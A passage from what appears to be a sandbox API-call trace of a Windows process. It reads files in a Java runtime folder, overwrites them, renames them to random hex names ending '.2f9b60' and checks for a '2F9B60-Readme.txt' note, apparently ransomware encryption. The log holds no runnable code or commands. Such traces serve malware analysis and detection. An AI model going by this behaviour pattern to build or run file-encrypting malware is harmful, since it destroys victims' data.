| out: _Dest="04") returned 2 [0141.612] sprintf (in: _Dest=0x1cd9dc7e, _Format="%c%c" | out: _Dest="47") returned 2 [0141.612] sprintf (in: _Dest=0x1cd9dc80, _Format="%c%c" | out: _Dest="4a") returned 2 [0141.612] sprintf (in: _Dest=0x1cd9dc82, _Format="%c%c" | out: _Dest="8f") returned 2 [0141.612] sprintf (in: _Dest=0x1cd9dc84, _Format="%c%c" | out: _Dest="0a") returned 2 [0141.612] sprintf (in: _Dest=0x1cd9dc86, _Format="%c%c" | out: _Dest="07") returned 2 [0141.613] sprintf (in: _Dest=0x1cd9dc88, _Format="%c%c" | out: _Dest="04") returned 2 [0141.613] sprintf (in: _Dest=0x1cd9dc8a, _Format="%c%c" | out: _Dest="8e") returned 2 [0141.613] sprintf (in: _Dest=0x1cd9dc8c, _Format="%c%c" | out: _Dest="3f") returned 2 [0141.613] sprintf (in: _Dest=0x1cd9dc8e, _Format="%c%c" | out: _Dest="a6") returned 2 [0141.613] sprintf (in: _Dest=0x1cd9dc90, _Format="%c%c" | out: _Dest="71") returned 2 [0141.613] sprintf (in: _Dest=0x1cd9dc92, _Format="%c%c" | out: _Dest="1e") returned 2 [0141.613] sprintf (in: _Dest=0x1cd9dc94, _Format="%c%c" | out: _Dest="2a") returned 2 [0141.613] sprintf (in: _Dest=0x1cd9dc96, _Format="%c%c" | out: _Dest="c6") returned 2 [0141.613] sprintf (in: _Dest=0x1cd9dc98, _Format="%c%c" | out: _Dest="e4") returned 2 [0141.613] sprintf (in: _Dest=0x1cd9dc9a, _Format="%c%c" | out: _Dest="ea") returned 2 [0141.613] sprintf (in: _Dest=0x1cd9dc9c, _Format="%c%c" | out: _Dest="a6") returned 2 [0141.613] sprintf (in: _Dest=0x1cd9dc9e, _Format="%c%c" | out: _Dest="e7") returned 2 [0141.613] sprintf (in: _Dest=0x1cd9dca0, _Format="%c%c" | out: _Dest="62") returned 2 [0141.613] sprintf (in: _Dest=0x1cd9dca2, _Format="%c%c" | out: _Dest="a2") returned 2 [0141.613] sprintf (in: _Dest=0x1cd9dca4, _Format="%c%c" | out: _Dest="28") returned 2 [0141.613] sprintf (in: _Dest=0x1cd9dca6, _Format="%c%c" | out: _Dest="3b") returned 2 [0141.613] sprintf (in: _Dest=0x1cd9dca8, _Format="%c%c" | out: _Dest="db") returned 2 [0141.613] sprintf (in: _Dest=0x1cd9dcaa, _Format="%c%c" | out: _Dest="fe") returned 2 [0141.613] sprintf (in: _Dest=0x1cd9dcac, _Format="%c%c" | out: _Dest="e6") returned 2 [0141.613] sprintf (in: _Dest=0x1cd9dcae, _Format="%c%c" | out: _Dest="a9") returned 2 [0141.613] sprintf (in: _Dest=0x1cd9dcb0, _Format="%c%c" | out: _Dest="7b") returned 2 [0141.613] sprintf (in: _Dest=0x1cd9dcb2, _Format="%c%c" | out: _Dest="6c") returned 2 [0141.613] sprintf (in: _Dest=0x1cd9dcb4, _Format="%c%c" | out: _Dest="f8") returned 2 [0141.613] sprintf (in: _Dest=0x1cd9dcb6, _Format="%c%c" | out: _Dest="04") returned 2 [0141.613] sprintf (in: _Dest=0x1cd9dcb8, _Format="%c%c" | out: _Dest="ec") returned 2 [0141.613] sprintf (in: _Dest=0x1cd9dcba, _Format="%c%c" | out: _Dest="f6") returned 2 [0141.613] sprintf (in: _Dest=0x1cd9dcbc, _Format="%c%c" | out: _Dest="39") returned 2 [0141.613] sprintf (in: _Dest=0x1cd9dcbe, _Format="%c%c" | out: _Dest="01") returned 2 [0141.613] RtlInitAnsiString (in: DestinationString=0x376df808, SourceString="b90858cc350104474a8f0a07048e3fa6711e2ac6e4eaa6e762a2283bdbfee6a97b6cf804ecf63901" | out: DestinationString="b90858cc350104474a8f0a07048e3fa6711e2ac6e4eaa6e762a2283bdbfee6a97b6cf804ecf63901") [0141.613] RtlAnsiStringToUnicodeString (in: DestinationString=0x376df7d8, SourceString="b90858cc350104474a8f0a07048e3fa6711e2ac6e4eaa6e762a2283bdbfee6a97b6cf804ecf63901", AllocateDestinationString=1 | out: DestinationString="b90858cc350104474a8f0a07048e3fa6711e2ac6e4eaa6e762a2283bdbfee6a97b6cf804ecf63901") returned 0x0 [0141.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x202adfa0 [0141.614] RtlFreeAnsiString (AnsiString="b") [0141.614] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9dc70) returned 1 [0141.614] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdf00) returned 1 [0141.614] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdbd0) returned 1 [0141.614] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866130) returned 1 [0141.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fbf0) returned 1 [0141.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd6f0) returned 1 [0141.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f5b0) returned 1 [0141.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fde10) returned 1 [0141.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fded0) returned 1 [0141.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd780) returned 1 [0141.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd7e0) returned 1 [0141.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x2050b070 [0141.616] wcscat (in: _Dest=0x2050b070, _Source="b90858cc350104474a8f" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\b90858cc350104474a8f") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\b90858cc350104474a8f" [0141.616] wcscat (in: _Dest=0x2050b070, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\b90858cc350104474a8f.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\b90858cc350104474a8f.2f9b60" [0141.616] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\b90858cc350104474a8f.2f9b60", NtPathName=0x376df7b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\b90858cc350104474a8f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0141.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x202acc60 [0141.616] NtSetInformationFile (FileHandle=0x1f2c, IoStatusBlock=0x376df850, FileInformation=0x202acc60, Length=0xa0, FileInformationClass=0xa) returned 0x0 [0145.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202acc60) returned 1 [0145.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecf0d0) returned 1 [0145.037] NtQueryInformationFile (in: FileHandle=0x1f2c, IoStatusBlock=0x376df818, FileInformation=0x376df828, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x376df818, FileInformation=0x376df828) returned 0x0 [0145.037] NtSetInformationFile (FileHandle=0x1f2c, IoStatusBlock=0x376df818, FileInformation=0x376df828, Length=0x28, FileInformationClass=0x4) returned 0x0 [0145.193] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b070) returned 1 [0145.194] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202adfa0) returned 1 [0145.194] FlushFileBuffers (hFile=0x1f2c) returned 1 [0145.220] CloseHandle (hObject=0x1f2c) returned 1 [0145.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a2b0 [0145.225] wcscpy (in: _Dest=0x1ce5a2b0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0145.225] wcscat (in: _Dest=0x1ce5a2b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" [0145.225] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\2f9b60-readme.txt")) returned 0x20 [0147.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a2b0) returned 1 [0147.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504a10) returned 1 Thread: id = 2095 os_tid = 0x13e4 [0138.589] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\psfontj2d.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\psfontj2d.properties")) returned 0x20 [0140.609] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\psfontj2d.properties", dwFileAttributes=0x20) returned 1 [0140.829] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\psfontj2d.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\psfontj2d.properties"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f30 [0141.406] GetFileSizeEx (in: hFile=0x1f30, lpFileSize=0x377af6e0 | out: lpFileSize=0x377af6e0*=10393) returned 1 [0141.406] SetFilePointerEx (in: hFile=0x1f30, liDistanceToMove=0x2895, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.406] ReadFile (in: hFile=0x1f30, lpBuffer=0x377af660, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x377af6a8, lpOverlapped=0x0 | out: lpBuffer=0x377af660*, lpNumberOfBytesRead=0x377af6a8*=0x4, lpOverlapped=0x0) returned 1 [0141.433] SetFilePointerEx (in: hFile=0x1f30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fde10 [0141.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd720 [0141.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd6f0 [0141.434] NtQuerySystemTime (in: CurrentTime=0x377af5a0 | out: CurrentTime=0x377af5a0*=132462177466786000) returned 0x0 [0141.434] RtlRandomEx (in: Seed=0x377af590 | out: Seed=0x377af590) returned 0x11ac8c60 [0141.434] RtlRandomEx (in: Seed=0x377af590 | out: Seed=0x377af590) returned 0x7b2cc909 [0141.434] RtlRandomEx (in: Seed=0x377af590 | out: Seed=0x377af590) returned 0x287d9156 [0141.434] RtlRandomEx (in: Seed=0x377af590 | out: Seed=0x377af590) returned 0x1cbea6a [0141.434] RtlRandomEx (in: Seed=0x377af590 | out: Seed=0x377af590) returned 0x404787e [0141.434] RtlRandomEx (in: Seed=0x377af590 | out: Seed=0x377af590) returned 0x36969e35 [0141.434] RtlRandomEx (in: Seed=0x377af590 | out: Seed=0x377af590) returned 0x66947dd5 [0141.434] RtlRandomEx (in: Seed=0x377af590 | out: Seed=0x377af590) returned 0x5895218 [0141.434] RtlRandomEx (in: Seed=0x377af590 | out: Seed=0x377af590) returned 0x426d1063 [0141.434] RtlRandomEx (in: Seed=0x377af590 | out: Seed=0x377af590) returned 0x75c8d2c9 [0141.434] RtlRandomEx (in: Seed=0x377af590 | out: Seed=0x377af590) returned 0x2da6dcd5 [0141.435] RtlRandomEx (in: Seed=0x377af590 | out: Seed=0x377af590) returned 0x5770669b [0141.435] RtlRandomEx (in: Seed=0x377af590 | out: Seed=0x377af590) returned 0x4c85da22 [0141.435] RtlRandomEx (in: Seed=0x377af590 | out: Seed=0x377af590) returned 0x5454d8c4 [0141.435] RtlRandomEx (in: Seed=0x377af590 | out: Seed=0x377af590) returned 0x20e1cfce [0141.435] RtlRandomEx (in: Seed=0x377af590 | out: Seed=0x377af590) returned 0x5123bff8 [0141.435] RtlRandomEx (in: Seed=0x377af590 | out: Seed=0x377af590) returned 0x5a242ae0 [0141.435] RtlRandomEx (in: Seed=0x377af590 | out: Seed=0x377af590) returned 0x33ad2d [0141.435] RtlRandomEx (in: Seed=0x377af590 | out: Seed=0x377af590) returned 0x64286d1e [0141.435] RtlRandomEx (in: Seed=0x377af590 | out: Seed=0x377af590) returned 0x22a26203 [0141.435] RtlRandomEx (in: Seed=0x377af590 | out: Seed=0x377af590) returned 0x77e45c38 [0141.435] RtlRandomEx (in: Seed=0x377af590 | out: Seed=0x377af590) returned 0x412969cd [0141.435] RtlRandomEx (in: Seed=0x377af590 | out: Seed=0x377af590) returned 0x67b9a541 [0141.435] RtlRandomEx (in: Seed=0x377af590 | out: Seed=0x377af590) returned 0x1820907c [0141.435] RtlRandomEx (in: Seed=0x377af590 | out: Seed=0x377af590) returned 0x57eae8d5 [0141.435] RtlRandomEx (in: Seed=0x377af590 | out: Seed=0x377af590) returned 0x4ed28268 [0141.435] RtlRandomEx (in: Seed=0x377af590 | out: Seed=0x377af590) returned 0x2366ca11 [0141.435] RtlRandomEx (in: Seed=0x377af590 | out: Seed=0x377af590) returned 0x2196bbdf [0141.435] RtlRandomEx (in: Seed=0x377af590 | out: Seed=0x377af590) returned 0x2af926c5 [0141.435] RtlRandomEx (in: Seed=0x377af590 | out: Seed=0x377af590) returned 0x7f2ab3ec [0141.435] RtlRandomEx (in: Seed=0x377af590 | out: Seed=0x377af590) returned 0x41de2101 [0141.435] RtlRandomEx (in: Seed=0x377af590 | out: Seed=0x377af590) returned 0x42bd8b55 [0141.556] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd6c0 [0141.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420616b0 [0141.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdc90 [0141.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420616b0) returned 1 [0141.558] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd6f0) returned 1 [0141.558] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fde10) returned 1 [0141.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f60 [0141.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420616b0 [0141.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fde10 [0141.558] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fde10) returned 1 [0141.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421ca920 [0141.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421fb5f0 [0141.559] ReadFile (in: hFile=0x1f30, lpBuffer=0x421ca920, nNumberOfBytesToRead=0x2899, lpNumberOfBytesRead=0x377af590, lpOverlapped=0x0 | out: lpBuffer=0x421ca920*, lpNumberOfBytesRead=0x377af590*=0x2899, lpOverlapped=0x0) returned 1 [0141.608] SetFilePointerEx (in: hFile=0x1f30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.608] WriteFile (in: hFile=0x1f30, lpBuffer=0x421fb5f0*, nNumberOfBytesToWrite=0x2899, lpNumberOfBytesWritten=0x377af594, lpOverlapped=0x0 | out: lpBuffer=0x421fb5f0*, lpNumberOfBytesWritten=0x377af594*=0x2899, lpOverlapped=0x0) returned 1 [0141.721] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe050 [0141.721] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe1d0 [0141.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe1d0) returned 1 [0141.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421fb5f0) returned 1 [0141.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421ca920) returned 1 [0141.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420616b0) returned 1 [0141.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f60) returned 1 [0141.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cd9f5b0 [0141.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f60 [0141.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420616b0 [0141.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe1d0 [0141.723] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe1d0) returned 1 [0141.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cd9fbf0 [0141.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe1d0 [0141.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe260 [0141.724] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe260) returned 1 [0141.724] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420616b0) returned 1 [0141.724] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f60) returned 1 [0141.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11a) returned 0x1b7d3a20 [0141.724] SetFilePointerEx (in: hFile=0x1f30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0141.724] WriteFile (in: hFile=0x1f30, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x377af6b0, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x377af6b0*=0x11a, lpOverlapped=0x0) returned 1 [0141.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ba0 [0141.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420616b0 [0141.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd7e0 [0141.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd7e0) returned 1 [0141.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x204fd7e0 [0141.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdc60 [0141.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe410 [0141.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe410) returned 1 [0141.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420616b0) returned 1 [0141.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0141.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1cd9dc70 [0141.786] sprintf (in: _Dest=0x1cd9dc70, _Format="%c%c" | out: _Dest="cd") returned 2 [0141.786] sprintf (in: _Dest=0x1cd9dc72, _Format="%c%c" | out: _Dest="7d") returned 2 [0141.786] sprintf (in: _Dest=0x1cd9dc74, _Format="%c%c" | out: _Dest="dd") returned 2 [0141.786] sprintf (in: _Dest=0x1cd9dc76, _Format="%c%c" | out: _Dest="ca") returned 2 [0141.786] sprintf (in: _Dest=0x1cd9dc78, _Format="%c%c" | out: _Dest="97") returned 2 [0141.786] sprintf (in: _Dest=0x1cd9dc7a, _Format="%c%c" | out: _Dest="04") returned 2 [0141.786] sprintf (in: _Dest=0x1cd9dc7c, _Format="%c%c" | out: _Dest="fb") returned 2 [0141.786] sprintf (in: _Dest=0x1cd9dc7e, _Format="%c%c" | out: _Dest="7e") returned 2 [0141.786] sprintf (in: _Dest=0x1cd9dc80, _Format="%c%c" | out: _Dest="81") returned 2 [0141.786] sprintf (in: _Dest=0x1cd9dc82, _Format="%c%c" | out: _Dest="6f") returned 2 [0141.786] sprintf (in: _Dest=0x1cd9dc84, _Format="%c%c" | out: _Dest="53") returned 2 [0141.786] sprintf (in: _Dest=0x1cd9dc86, _Format="%c%c" | out: _Dest="bc") returned 2 [0141.786] sprintf (in: _Dest=0x1cd9dc88, _Format="%c%c" | out: _Dest="40") returned 2 [0141.786] sprintf (in: _Dest=0x1cd9dc8a, _Format="%c%c" | out: _Dest="4a") returned 2 [0141.786] sprintf (in: _Dest=0x1cd9dc8c, _Format="%c%c" | out: _Dest="44") returned 2 [0141.787] sprintf (in: _Dest=0x1cd9dc8e, _Format="%c%c" | out: _Dest="92") returned 2 [0141.787] sprintf (in: _Dest=0x1cd9dc90, _Format="%c%c" | out: _Dest="2d") returned 2 [0141.787] sprintf (in: _Dest=0x1cd9dc92, _Format="%c%c" | out: _Dest="af") returned 2 [0141.787] sprintf (in: _Dest=0x1cd9dc94, _Format="%c%c" | out: _Dest="d4") returned 2 [0141.787] sprintf (in: _Dest=0x1cd9dc96, _Format="%c%c" | out: _Dest="c5") returned 2 [0141.787] sprintf (in: _Dest=0x1cd9dc98, _Format="%c%c" | out: _Dest="f0") returned 2 [0141.787] sprintf (in: _Dest=0x1cd9dc9a, _Format="%c%c" | out: _Dest="46") returned 2 [0141.787] sprintf (in: _Dest=0x1cd9dc9c, _Format="%c%c" | out: _Dest="d6") returned 2 [0141.787] sprintf (in: _Dest=0x1cd9dc9e, _Format="%c%c" | out: _Dest="57") returned 2 [0141.787] sprintf (in: _Dest=0x1cd9dca0, _Format="%c%c" | out: _Dest="7a") returned 2 [0141.787] sprintf (in: _Dest=0x1cd9dca2, _Format="%c%c" | out: _Dest="a9") returned 2 [0141.787] sprintf (in: _Dest=0x1cd9dca4, _Format="%c%c" | out: _Dest="f9") returned 2 [0141.787] sprintf (in: _Dest=0x1cd9dca6, _Format="%c%c" | out: _Dest="49") returned 2 [0141.787] sprintf (in: _Dest=0x1cd9dca8, _Format="%c%c" | out: _Dest="2f") returned 2 [0141.787] sprintf (in: _Dest=0x1cd9dcaa, _Format="%c%c" | out: _Dest="f9") returned 2 [0141.787] sprintf (in: _Dest=0x1cd9dcac, _Format="%c%c" | out: _Dest="82") returned 2 [0141.787] sprintf (in: _Dest=0x1cd9dcae, _Format="%c%c" | out: _Dest="1b") returned 2 [0141.787] sprintf (in: _Dest=0x1cd9dcb0, _Format="%c%c" | out: _Dest="8f") returned 2 [0141.787] sprintf (in: _Dest=0x1cd9dcb2, _Format="%c%c" | out: _Dest="1f") returned 2 [0141.787] sprintf (in: _Dest=0x1cd9dcb4, _Format="%c%c" | out: _Dest="fe") returned 2 [0141.787] sprintf (in: _Dest=0x1cd9dcb6, _Format="%c%c" | out: _Dest="de") returned 2 [0141.787] sprintf (in: _Dest=0x1cd9dcb8, _Format="%c%c" | out: _Dest="6f") returned 2 [0141.787] sprintf (in: _Dest=0x1cd9dcba, _Format="%c%c" | out: _Dest="a6") returned 2 [0141.787] sprintf (in: _Dest=0x1cd9dcbc, _Format="%c%c" | out: _Dest="e7") returned 2 [0141.787] sprintf (in: _Dest=0x1cd9dcbe, _Format="%c%c" | out: _Dest="14") returned 2 [0141.788] RtlInitAnsiString (in: DestinationString=0x377af728, SourceString="cd7dddca9704fb7e816f53bc404a44922dafd4c5f046d6577aa9f9492ff9821b8f1ffede6fa6e714" | out: DestinationString="cd7dddca9704fb7e816f53bc404a44922dafd4c5f046d6577aa9f9492ff9821b8f1ffede6fa6e714") [0141.788] RtlAnsiStringToUnicodeString (in: DestinationString=0x377af6f8, SourceString="cd7dddca9704fb7e816f53bc404a44922dafd4c5f046d6577aa9f9492ff9821b8f1ffede6fa6e714", AllocateDestinationString=1 | out: DestinationString="cd7dddca9704fb7e816f53bc404a44922dafd4c5f046d6577aa9f9492ff9821b8f1ffede6fa6e714") returned 0x0 [0141.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x202ad8c0 [0141.788] RtlFreeAnsiString (AnsiString="c") [0141.789] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9dc70) returned 1 [0141.789] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd7e0) returned 1 [0141.789] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdc60) returned 1 [0141.789] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3a20) returned 1 [0141.789] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fbf0) returned 1 [0141.789] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe1d0) returned 1 [0141.789] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f5b0) returned 1 [0141.789] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe050) returned 1 [0141.789] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd720) returned 1 [0141.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd6c0) returned 1 [0141.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdc90) returned 1 [0141.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x2050a920 [0141.790] wcscat (in: _Dest=0x2050a920, _Source="cd7dddca9704fb7e816f" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cd7dddca9704fb7e816f") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cd7dddca9704fb7e816f" [0141.790] wcscat (in: _Dest=0x2050a920, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cd7dddca9704fb7e816f.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cd7dddca9704fb7e816f.2f9b60" [0141.790] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cd7dddca9704fb7e816f.2f9b60", NtPathName=0x377af6d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\cd7dddca9704fb7e816f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0141.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x202ad970 [0141.790] NtSetInformationFile (FileHandle=0x1f30, IoStatusBlock=0x377af770, FileInformation=0x202ad970, Length=0xa0, FileInformationClass=0xa) returned 0x0 [0145.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad970) returned 1 [0145.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff8c0) returned 1 [0145.964] NtQueryInformationFile (in: FileHandle=0x1f30, IoStatusBlock=0x377af738, FileInformation=0x377af748, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x377af738, FileInformation=0x377af748) returned 0x0 [0145.964] NtSetInformationFile (FileHandle=0x1f30, IoStatusBlock=0x377af738, FileInformation=0x377af748, Length=0x28, FileInformationClass=0x4) returned 0x0 [0146.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a920) returned 1 [0146.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad8c0) returned 1 [0146.030] FlushFileBuffers (hFile=0x1f30) returned 1 [0146.037] CloseHandle (hObject=0x1f30) returned 1 [0146.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504b10 [0146.070] wcscpy (in: _Dest=0x20504b10, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0146.070] wcscat (in: _Dest=0x20504b10, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" [0146.070] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\2f9b60-readme.txt")) returned 0x20 [0147.315] 